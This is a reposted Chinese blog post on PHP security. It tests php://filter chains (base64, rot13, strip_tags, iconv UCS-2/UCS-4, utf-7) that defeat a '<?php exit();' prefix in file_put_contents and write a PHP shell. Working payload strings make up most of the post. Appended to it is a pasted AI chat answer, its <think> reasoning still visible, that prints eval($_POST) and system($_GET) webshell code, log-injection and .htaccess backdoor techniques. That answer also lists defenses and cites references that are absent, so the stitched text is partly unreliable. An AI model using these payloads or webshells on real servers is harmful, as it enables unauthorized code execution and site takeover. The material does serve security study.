【转载】关于file_put_contents的一些小测试

原文地址:关于file_put_contents的一些小测试 【2020-08-04】

昨天看了篇文章一次“SSRF–>RCE”的艰难利用,被里面的各种骚操作给秀到了,发现file_put_contents这个很有意思,绕过<?php exit();GetShell也经常有人提出不同的思路,这里简单的做一下测试和记录。

file_put_contents($filename,“<?php exit();”.$content);

前提:这种是前后两个变量不同,假设$filename,$content我们都可控情况

这种情况相对较为简单,先捋清思路,$filename控制的写入的文件名,$content拼接在了<?php exit();后,所以想要GetShell的话,就必须把<?php exit();给干掉,而都知$filename是控制文件名的,如果我们使用php://filter协议的话,这会先按php://filter规定的协议对$content进行解码后再写入协议,更强大的是php://filter还支持使用多个过滤器规则,也就是说我们可以来个连环操作。所以思路很简单,目标就是把<?php exit();解码为php不认识的字符,而我们构造的内容能够正常的解码出来就可以。这个在phith0n之前的文章里有了很详细的介绍传送门,这里简单的介绍一下

0x01 Base64编码

最常用的就是base64编码了,通过解码把<?php exit();解码为乱码,而后面我们传入的webshell的base64内容被正常解码,就可以直接干掉<?php exit();得到一个shell了,不过由于<?php exit();中只有phpexit参与了解码,由于base64解码时4转3,所以需要补一位如👇

<?php phpinfo();?> => PD9waHAgcGhwaW5mbygpOz8+ => aPD9waHAgcGhwaW5mbygpOz8+ -> $content
php://filter/write=convert.base64-decode/resource=Cyc1e.php  -> $filename

请添加图片描述

0x02 Rot13编码

同样,也可以利用rot13编码来绕过,原理和Base64编码是一样的,就不多赘述了,如下👇

<?php phpinfo();?> => <?cuc cucvasb();?> -> $content
php://filter/write=string.rot13/resource=Cyc1e.php  -> $filename

请添加图片描述

这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag)

0x03 组合拳

我们可以利用php://filter字符串处理方法&&编码的方法绕过<?php exit();,相对于直接编码就有点多此一举了,不过知道有这个方法就好了,例如利用strip_tags方法来直接去除xml,而我们传入的shell是base64编码过的,所以不会被去除,再解码即可,前面也说了php://filter是支持使用多个多滤器的,所以构造如下👇

<?php phpinfo();?> => PD9waHAgcGhwaW5mbygpOz8+ =>?>PD9waHAgcGhwaW5mbygpOz8+ -> $content #这里由于`<?php exit();`不是完整的标签,所以需要补上’?>‘进行补全
php://filter/write=string.strip_tags|convert.base64-decode/resource=Cyc1e.php  -> $filename

请添加图片描述

file_put_contents($a,“<?php exit();”.$a);

前提:这种是前后两个变量相同,假设$a可控情况

这种相同变量的构造方式和不同变量的构造方式思路是大差不差的,都是需要干掉<?php exit();,只不过构造起来相对更复杂一些,这里也简单记录下测试的内容👇

0x01 Base64

这里和上面对应上,不过经过个人测试,直接只用Base64的方式是不行的!(如果有构造出来的,分享一下),接下来讲讲为何个人觉得不行 ~

file_put_contents($a,"<?php exit();".$a);

根据前面介绍的不同变量的构造方法,很容易拓展到相同的变量,同样利用php://filter来构造,反正后面是写入的内容,只要在后面解码的时候把shell解码出来,不需要的东西解码成乱码即可,而Base64构造的话,例如

$a = php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+|/resource=Cyc1e.php

构造的shell可以放在过滤器的位置和文件名位置都可以(其他编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则是报个Warning,然后跳过继续执行的(不会退出),所以按理说这样构造是**“很完美”**的,我们看下base-decode哪些字符👇

php//filter/write=convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php

而默认情况下base64编码是以 = 作为结尾的,所以正常解码的时候到了 = 就解码结束了,即使我们构造payload的时候不用write=,但是在最后获取文件名的时候resource=中的 = 过不掉,所以导致过滤器解码失败,从而报错(不过还是会创建文件的,内容由于解码过程出错了,就都丢弃了)👇
请添加图片描述

我们也可以简单的测试一下是否是 = 出的问题,

#3.php
<?php
$filename="php://filter/write=convert.base64-decode/resource=Cyc1e.php";
$content="PD9waHAgcGhwaW5mbygpOz8+";
file_put_contents($filename,"<?PHP exit();//=".$content);
?>

请添加图片描述

结果是一样的,所以可以确定是 = 出的问题,要是有绕过的构造方法,欢迎分享。

0x02 Rot13

rot13编码就不存在base64的问题,所以和前面base64构造的思路一样👇

$a = php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=Cyc1e.php

请添加图片描述

和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag(再补充一下,linux下默认是没有开启的))

0x03 iconv字符编码转换

这种方法由于之前没有见过,所以感觉这波操作比我的亚索还要秀~,想法是一样的,通过字符转换把<?php exit();转成不能解析的,这里采用的是UCS-2或者UCS-4编码方式(当然还有很多,比如utf-8和utf-7),而我们构造的转成可正常解析的。👇

#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
?<hp phpipfn(o;)>?

这里用的是UCS-2,当然我们也可以用UCS-4👇

echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了,构造payload👇

$a='php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=Cyc1e.php';
**or**
$a='php://filter//convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=Cyc1e.php';
#由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以需要补3个字符

请添加图片描述
请添加图片描述
当然这种方法对于前后不同变量也是一样适用的~~~

0x04 组合拳

第一套连招

和前后不同的变量的利用一样,相同变量一样可以使用组合拳,这里就用UCS-2和rot13举一个例子吧,知道可以这样的意思👇

$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=Cyc1e.php'; #同样需要补位,这里补了一个x

请添加图片描述

第二套连招

前面介绍单独用base64编码是不可行的,那么来一套组合拳是否可以呢?答案肯定是可以的,这里感谢大兄弟郁离歌提供的方法,通过iconv将utf8编码转为utf7编码,从而把 = 给转了,就不会影响到base64的解码了👇

$a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php'; #base64编码前补了AA,原理一样,补齐位数

我们看一下转码后的结果

UTF-8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php
👇
UTF-7:php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-Cyc1e.php

这样就成功的把 = 给转了,base64编码没有受到影响,一样可以正常的解码~

请添加图片描述

所以对于base64的运用,只要找到一个能把 = 转了同时又不影响base64编码后的字符的转码方式即可

第三套连招

我们来用一下strip_tags方法&&base64的组合,不过之前构造的这种方法有局限性,要求服务器是linux系统,所以之前没写。因为前面介绍过strip_tags去除的是完整的标签以及内容,而base64要求中间不能出现 = 所以把他们二者组合起来👇

$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php';

理解起来也很简单,在文件名前加上?><?php exit();闭合,同时 = 也在闭合标签之间,所以利用strip_tags处理的时候直接把<?php ...... ?>内的所有内容都删除了,然后对剩下的部分,也就是PD9waHAgcGhwaW5mbygpOz8+.php进行base64解码,为什么说这种构造Windows不行呢,因为Windows不支持文件名中有?>这类字符。

请添加图片描述

如果觉得文件名太难看了,那么可以利用../来构造👇

$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../Cyc1e.php';

?>PD9waHAgcGhwaW5mbygpOz8+作为目录名(不管存不存在),再用../回退一下,这样创建出来的文件名为Cyc1e.php,这样创建出来的文件名就正常了

请添加图片描述

这里为何不用strip_tags呢?因为rot13转换的同样会被strip_tags方法给删除了,而UCS-2或UCS-4构造的也同样会被strip_tags方法给删除,所以需要找其他的编码方式进行构造,这里做个小tips,由于strip_tags去除的是一个闭合的标签所以?>可以放在我们构造的shell编码前,这样在contents上就直接把shell前的字符去了,只要shell的编码不会被删除,就可以解码回shell写入文件中,本菜懒,就不一个一个过滤器试了~~~

总结

简单的记录了一下本菜的测试过程,过滤器只用了提到的和常用的,当然php://filter还有其他的过滤器是可以用的,不过总结起来说,思路都是一样的,就是如何把<?php exit();给**”吃掉“**,让自己构造的shell可以正常运行,简单总结了这种方法,当然,方法万千,师傅们有好的方法也欢迎分享(白嫖)~~~

tips:file_put_contentsfile_get_contents这两个函数还是很有意思的,file_get_contents也有很多特性,下次有时间再写

<think>我们正在讨论一个安全问题:使用file_put_contents函数写入后门文件。 根据提供的引用,我们了解到file_put_contents函数的基本用法:它可以将数据写入文件。如果文件不存在,则会创建文件。 攻击者可能利用这个函数在服务器上创建恶意文件(后门),从而获得未授权访问。 原理: 当Web应用程序存在漏洞(如未授权访问、文件上传漏洞、代码注入漏洞等)时,攻击者可以构造请求,利用file_put_contents函数在服务器上写入一个包含恶意代码的文件(例如一个Web Shell)。这个文件通常是一个脚本文件(如PHP文件),攻击者随后可以通过访问这个文件来执行任意命令。 方法: 1. 直接写入PHP后门:例如,写入一个包含`<?php eval($_POST['cmd']);?>`的文件,这样攻击者就可以通过POST方式传递任意命令执行。 示例代码(恶意利用): ```php <?php // 假设攻击者通过某种方式(如未过滤的参数)控制了文件名和内容 $filename = 'shell.php'; $data = '<?php eval($_POST["cmd"]);?>'; file_put_contents($filename, $data); ?> ``` 这样就在当前目录下创建了一个名为shell.php的后门文件。 2. 利用追加写入(FILE_APPEND):如果攻击者无法覆盖原有文件,但可以追加内容,则可能在现有文件中追加恶意代码。例如追加到某个PHP文件的末尾。 示例: ```php file_put_contents('existing.php', $malicious_code, FILE_APPEND); ``` 3. 利用其他特性:例如,如果服务器配置允许,攻击者还可以利用该函数覆盖重要的配置文件(如.htaccess),从而改变服务器行为。 防范措施: 1. 输入验证:对用户输入进行严格过滤,特别是控制文件名和文件内容的参数,避免恶意代码写入。 2. 权限控制:确保运行Web服务器的用户对文件系统的写入权限仅限于必要目录,并且这些目录不能直接执行脚本(例如,上传目录设置为不可执行)。 3. 文件类型检查:如果应用程序允许上传文件,应检查文件类型和内容,避免上传可执行脚本。 4. 使用安全配置:关闭不必要的PHP函数(如将file_put_contents从禁用函数列表中移除,但需谨慎,因为可能影响正常功能)。对于允许上传的目录,在Web服务器配置中禁止执行脚本。 5. 代码审计:定期检查应用程序代码,确保没有未授权的文件写入操作。 6. 文件完整性监控:对关键文件进行监控,防止被篡改。 值得注意的是,以上引用中并没有直接提到后门写入,但提供了函数的基本用法和示例。我们基于函数的功能和安全性的一般原则进行了分析。 此外,引用[3]中提到了一些其他函数(如var_dump, fwrite等),但我们的重点在file_put_contents上。 总结:file_put_contents函数本身并不危险,但不当使用会导致安全风险。确保在安全的上下文中使用它,避免用户可控数据直接用于文件写入操作。 根据要求,生成相关问题: 1. 如何检测服务器上是否存在通过file_put_contents写入的后门文件? 2. 除了file_put_contents,还有哪些PHP函数可能被用来写入后门? 3. 如何配置服务器以防止通过文件写入函数创建后门? 4. 在发现后门文件后,应该如何进行应急响应? </think>### file_put_contents函数写入后门文件的原理、方法及防范措施 #### 一、原理 `file_put_contents()` 函数可直接将字符串写入服务器文件系统。当攻击者通过漏洞(如未过滤的用户输入、权限配置错误)控制该函数的参数时: 1. **filename 参数**:可指定任意路径(如 `shell.php`) 2. **data 参数**:可植入恶意代码(如 `<?php system($_GET['cmd']);?>`) 3. **flags 参数**:利用 `FILE_APPEND` 可篡改现有文件[^1][^2] #### 二、常见攻击方法 1. **直接写入WebShell**: ```php // 攻击者控制$file和$content实现后门写入 file_put_contents("shell.php", '<?php eval($_POST["cmd"]);?>'); ``` 2. **日志文件注入**: ```php // 通过User-Agent植入后门到日志 file_put_contents("/var/log/apache.log", $_SERVER['HTTP_USER_AGENT'], FILE_APPEND); ``` 3. **配置文件篡改**: ```php // 在.htaccess追加恶意规则 file_put_contents(".htaccess", "\nAddHandler php-script .jpg", FILE_APPEND | LOCK_EX); ``` 4. **利用临时文件**: ```php // 结合php://filter进行编码绕过 file_put_contents("php://filter/convert.base64-decode/resource=img.php", "PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7"); ``` #### 三、防范措施 1. **输入严格过滤** - 对用户输入的路径参数校验正则:`if(!preg_match('/^[\w\/\-\.]+$/', $filename)) die("Invalid");` - 禁用动态路径拼接(如 `$_GET['path'] . '.php'`) 2. **权限最小化** - Web服务器用户(如www-data)仅赋予必要目录的**只读权限** - 关键目录(如`/etc`)设置不可写:`chown root:root /etc && chmod 755 /etc` 3. **禁用高危函数**(php.ini配置) ```ini disable_functions = file_put_contents,exec,system ``` 4. **文件监控** - 使用inotify监控关键目录变更: ```bash inotifywait -m -r -e create,modify /var/www ``` 5. **安全编码实践** - 避免直接使用用户输入作为参数 ```php // 安全示例:固定目录+随机文件名 $safe_dir = "/uploads/"; $filename = $safe_dir . uniqid('img_') . '.txt'; file_put_contents($filename, strip_tags($content)); ``` #### 四、检测方法 1. **文件完整性检查**: ```bash # 使用rkhunter扫描Web目录 rkhunter --check --sk --rwo ``` 2. **敏感内容扫描**: ```bash grep -r "eval($_POST" /var/www ``` 3. **审计日志分析**: 检查包含`file_put_contents`调用的访问日志: ```log 192.168.1.100 - "GET /upload.php?f=../shell.php&c=<?system(...) ``` > **关键点**:后门写入本质是**未授权文件写入+代码执行**的组合漏洞,防御需同时解决这两个环节[^1][^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值